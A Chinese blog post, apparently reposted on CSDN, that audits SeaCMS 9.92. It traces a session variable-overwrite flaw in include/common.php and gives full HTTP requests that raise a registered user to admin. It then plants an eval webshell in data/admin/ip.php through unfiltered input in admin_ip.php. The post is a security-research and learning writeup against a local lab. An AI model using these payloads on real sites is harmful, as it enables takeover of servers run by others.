wordpressQQ登陆php代码_代码审计-Seacms9.92从变量覆盖到getshell

本文详细介绍了Seacms 9.92版本中的变量覆盖漏洞,从漏洞复现、分析到获取shell的全过程。作者强调深入理解代码的重要性,并指出此漏洞主要由于程序未正确过滤全局变量导致,通过覆盖特定变量可获得管理员权限。最终,作者利用漏洞实现了getshell,揭示了内网渗透的第一步。
摘要由CSDN通过智能技术生成

5d0c4c101c646846a70e6f27d545becb.png

0x01 前言

好久没输出一下了,看到seacms这个就比较想看下有什么漏洞,看到90sec上面mochazz师傅发了一篇https://forum.90sec.com/t/topic/425 ,就跟着复现学习一下。我当中也是遇到一些问题卡住了,对于自己不懂的一定要去弄懂,别不懂也跟着下去,复现成功了,其实你只是学到怎么用,但是你去做分析了,遇到中间不懂的也不去耐心的弄懂,那可想而知,你每次只是复现成功后看分析知道自己懂了流程这段代码是干什么用的而已,但是你仔细思考一下这段代码是你自己看懂了还是看别人的文章指出这段代码的干什么用的。囫囵吞枣的学就好比如每天按时完成任务那种安慰自己得感觉,当你认真去分析弄懂自己不懂之后那种成就感才是你发现自己真正在进步时候,总之一句话: 不要用战术上的勤奋,掩盖战略上的懒惰

言归正传,不过说起来这个漏洞毕竟鸡肋的地方就是在后台,因为这里用了随机字符做后台的路径:

//修改后台文件夹名称
    function randomkeys($length)   
    {   
    $pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';  
    for($i=0;$i<$length;$i++)   
    {   
        $key .= $pattern{mt_rand(0,35)}; 
    }   
    return $key;   
    }

    $newadminname=randomkeys(6);
    $jpath='../admin';
    $xpath='../'.$newadminname;
    $cadmin=rename($jpath,$xpath);
    if($cadmin==true){$cadmininfo=$baseurl.'/'.$newadminname;}
    else{$cadmininfo=$baseurl.'/admin';}

0x02 漏洞复现

  1. 首先注册一个普通用户
  2. burp抓包改包,下面是发送payload
POST /login.php HTTP/1.1
Host: 192.168.8.143
Content-Length: 49
Cache-Control: max-age=0
Origin: http://192.168.8.143
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.8.143/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9smu8an6nvbrqasp5m0o4bmts7
Connection: close

dopost=login&userid=test&pwd=123456&validate=djyf&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=djyf

51cedc59f25f460348c3f7905bb3eda7.png

3. 登陆后台页面,可以发现管理员账户变成-1了,也同时拥有管理员的权限

9dd9df53fd908523ee4a2d759ee8b3ad.png

0x03 漏洞分析

程序很多页面都会包含include/common.php这个文件,主要是把 $_GET、$_POST、$_COOKIE 注册成全局变量 ,然后再检测是否存在非法变量名和过滤。

这里是检测了字符的长度和是否存在cfg_、GLOBALS变量还有是否设置cookie,但是漏了 _SESSION、_FILES 这两个。

fc58f59d5041d2c5f53959b434f65888.png

覆盖变量的代码,遍历后会通过_RunMagicQuotes的函数进行过滤。这里如果大家还是弄不懂的话,建议大家自己在本地新建一个php文件把下面的代码测试一遍就知道怎么用了,记得把_RunMagicQuotes函数去掉就行了。

1dc2115f5792dbe2424834df7ddd55e9.png

变量覆盖应该覆盖什么变量才有用呢?可以想到覆盖上传的文件名导致任意文件上传漏洞,也可以覆盖用户的权限,比如管理员的权限值为1,那么普通用户的权限值>1,但是这个值在注册用户的时候就内定了,但是我们可以覆盖这个变量让我们的权限值变成1,这样就拥有了管理员一样的权限了。

我们来输入后台的路径的时候它一般会指向index.php文件,那么我们就开始从这个index.php开始分析,它是如何验证我们不是管理员而跳转到login.php的。其实这个文件也就几个包含,那包含进来的文件也会执行。

<?php
require_once(dirname(__FILE__)."/config.php");
require_once(sea_ADMIN.'/inc_menu.php');
$defaultIcoFile = sea_ROOT.'/data/admin/quickmenu.txt';
$myIcoFile = sea_ROOT.'/data/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) {
    $myIcoFile = $defaultIcoFile;
}
include(sea_ADMIN.'/templets/index.htm');
exit();
?>

我们先看第一个包含的配置文件config.php,我们往下看就看到检验用户登陆的代码

//检验用户登录状态
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
if($cuserLogin->getUserID()==-1 OR $_SESSION['hashstr'] !== $hashstr)
{
    header("location:login.php?gotopage=".urlencode($EkNowurl));
    exit();
}

在此之前先来看下实例化的userLogin类,还有上用到的getUserID()函数也在里面,一开始没进行任何登陆我我们是没有任何_SESSSION的值的所以我们获取到的$cuserLogin->getUserID()是为-1的,还有$_SESSION['hashstr'] 也是不存在的,所以验证过不通过那就执行下面的语句,那么就会跳转到 login.php的页面了。

af46332fbfb3f6f9f136db8267974325.png

88bc1b8f5f406d15530231ef4c8d34b8.png

那么我们现在就可以知道我们只要用刚才找到的变量覆盖的方法去覆盖 $_SESSION['sea_admin_id']、$_SESSION['hashstr'] 这两个变量就可以跳过这步的验证然后进入后台管理页面了。我们只要将$_SESSION['sea_admin_id']设置为1就行了,但是$_SESSION['hashstr'] 这个session安全码是由数据库的密码、数据库名、数据库用户名,然后再用MD5加密组成的。

$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);

那我只要找到有赋值给

$_SESSION['hashstr']=$hashstr

就行了

那么我们可以用phpstorm来搜索一下,这个工具还是比较好用的,虽然是盗版的嘻嘻,不是专门做开发的,但有钱也要支持一下正版啦,要么也看用vscode也不错,也有debug的功能。这里有两个文件里面含有这个语句,但是都是在登陆成功后从才会赋值给$_SESSION['hashstr'],管理员我们不知道密码,那么我们就注册一个普通的用户就行了。

72935dc5f9e7be627299a41cd71c06e8.png

09586703a5d29ea280ab848f5b2afe05.png

我们来看login.php的分析,开头有session_start();就刚刚合适,大家这里可能会有疑问,我们刚才在后台的config.php的文件里面不是用OR来验证的嘛,那我们直接让$_SESSION['sea_admin_id']=1不就行了吗?这样说按道理是可以的,但是大家可以在config.php文件的1-34行分析,这句就是我变量覆盖的包含文件,但是我们现在生成的变量只是$_SESSION['sea_admin_id']变量而已,还没有进到session里面,因为没有开启session功能

require_once(sea_ADMIN."/../include/common.php");

当包含到这个文件的时候,在第6行使用了session_start();这时候会把我们之前生成的$_SESSION['sea_admin_id']清除为空,那么我们初始化的时候就会返回-1的值,所以我们选择login.php这个文件是符合这个漏洞的条件的。

require_once(sea_INC."/check.admin.php");

ab96b82c6f74cff6ffdef45eaae4e208.png

那么我们可以总结一下我们需要的条件:

  • 开放用户注册
  • 包含include/common.php文件
  • 需要开启session_start();
  • 文件需要有$_SESSION['hashstr']=$hashstr

那我们可以用burp抓包改包:

POST /login.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 74
Cache-Control: max-age=0
Origin: http://192.168.0.102
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.0.102/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9ldeskn21pu2a5b4pk2jvjj3j0; XDEBUG_SESSION=PHPSTORM
Connection: close

_SESSION[sea_admin_id]=1&dopost=login&userid=test&pwd=123456&validate=odfa

当你到这一步的时候你放行数据包之后会提示验证码错误,你回去看代码有一句,没错啊,这里不是赋值了吗?怎么会出现验证码错误呢?

$svali = $_SESSION['sea_ckstr'];

这里我也卡住了,我debug了好几次,发现问题出现在我们变量覆盖的地方,$_SESSION['sea_ckstr']在我们还没进行变量覆盖的时候就已经存在了,但是一到这里我们覆盖过去之后会把先前的$_SESSION值都覆盖然后重新赋值,这个时候$_SESSION['sea_ckstr']就不复存在了。

f421b17251b63e0d75c160cf93880a01.png

所以我们完整的payload应该是这样的:

POST /login.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 74
Cache-Control: max-age=0
Origin: http://192.168.0.102
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.0.102/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9ldeskn21pu2a5b4pk2jvjj3j0; XDEBUG_SESSION=PHPSTORM
Connection: close

_SESSION['sea_ckstr']=odfa&_SESSION[sea_admin_id]=1&dopost=login&userid=test&pwd=123456&validate=odfa

其实到这里我们还没完全有管理员的权限,我们只是跳过了进后台页面的步骤而已,当我们访问nzyo/admin_config.php的时候就会出现没有权限的错误。

eb130a06b52473b3504bd2f36c80bcd2.png

我们去看这个文件nzyo/admin_config.php,里面用了一个函数CheckPurview()来检查是否有权限

function CheckPurview()
{
    if($GLOBALS['cuserLogin']->getUserRank()<>1)
    {
        ShowMsg("对不起,你没有权限执行此操作!<br/><br/><a href='javascript:history.go(-1);'>点击此返回上一页&gt;&gt;</a>",'javascript:;');
        exit();
    }
}

我们继续跟进getUserRank()函数

function getUserRank()
    {
        return $this->getgroupid();
    }

继续跟下去

//获得用户的权限值
    function getgroupid()
    {
        if($this->groupid!='')
        {
            return $this->groupid;
        }
        else
        {
            return -1;
        }
    }

我们的var $keepgroupidTag = "sea_group_id";没有做变量覆盖

$this->groupid = $_SESSION[$this->keepgroupidTag];

那我们的payload就加上就行了

POST /login.php HTTP/1.1
Host: 192.168.8.143
Content-Length: 124
Cache-Control: max-age=0
Origin: http://192.168.8.143
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.8.143/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9smu8an6nvbrqasp5m0o4bmts7; XDEBUG_SESSION=PHPSTORM
Connection: close

dopost=login&userid=test&pwd=123456&validate=yrjt&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=yrjt&_SESSION[sea_group_id]=1

然后我们可以进配置页面进行管理的权限操作了

74d10a78329e80ee1bf29e5bd5e76385.png

0x04 Getshell

这个环节是大家最喜欢的了,获取到shell权限是拿到最高权限的第一步也是内网渗透的第一步,师傅已经介绍在admin_ping.php的文件怎么拿shell,这里我也找了一个点admin_ip.php,大家可以看代码是如何写入文件/data/admin/ip.php的,没有任何的过滤。

if($action=="set")
{
    $v= $_POST['v'];
    $ip = $_POST['ip'];
    $open=fopen("../data/admin/ip.php","w" );
    $str='<?php ';
    $str.='$v = "';
    $str.="$v";
    $str.='"; ';
    $str.='$ip = "';
    $str.="$ip";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;

我们再去看一下ip.php格式

<?php $v = "0"; $ip = " ";  ?>

我们可以构造一下,然后保存

";@eval($_POST[pp]);//

12620677a97c784b3125d91e73070815.png

看一下ip.php的内容,已经写进去了

0154f56118dd9976497cab28619cb2a6.png

连接shell

29e40f1fb56bf693ee8c11123e5ad442.png

0X05 结束

持续输出!

seacms海洋cms影视管理系统 v9.1 更新日志 更新日期:2019年2月1日 v9.1 优化:服务器开启OPcache时后台设置兼容性 优化:视频编辑时剧情分类显示方式 优化:剧情分类缓存项 seacms海洋影视管理系统简介 海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需5分钟即可建立一个海量的视频讯息的行业网站。 海洋cms采用PHP MYSQL架构,原生PHP代码带来卓越的访问速度和负载能力免去您的后顾之优。海洋cms支持一键转换原max的模板和数据,实现网站无缝迁移到新平台。众多人性化功能设计,超前定时执行任务,让您处理数据得心应手,您只需要专心做内容运营,其它的交给我们。 为符合SEO要求开发大量功能,比如百度结构化数据生成,搜索引擎地图等。全新设计的专题管理,同时支持按分类 扩展分类 剧情分类三种分类模式组合,让网站内容与众不同。简单易用丰富的模板标签,方便网站模板设计制作,让网站更显专业。 海洋cms是基于PHP MySql技术开发的开源CMS,完全开源 、没有任何加密代码,强劲功能、卓越性能、安全健壮。超级易用、模板众多、插件齐全、资源丰富。构架稳健,平滑升级。 seacms海洋影视管理系统前台页面 seacms海洋影视管理系统后台管理 后台路径:域名//admin 用户名与密码:admin(安装时可设置) 后台页面:  相关阅读 同类推荐:站长常用源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值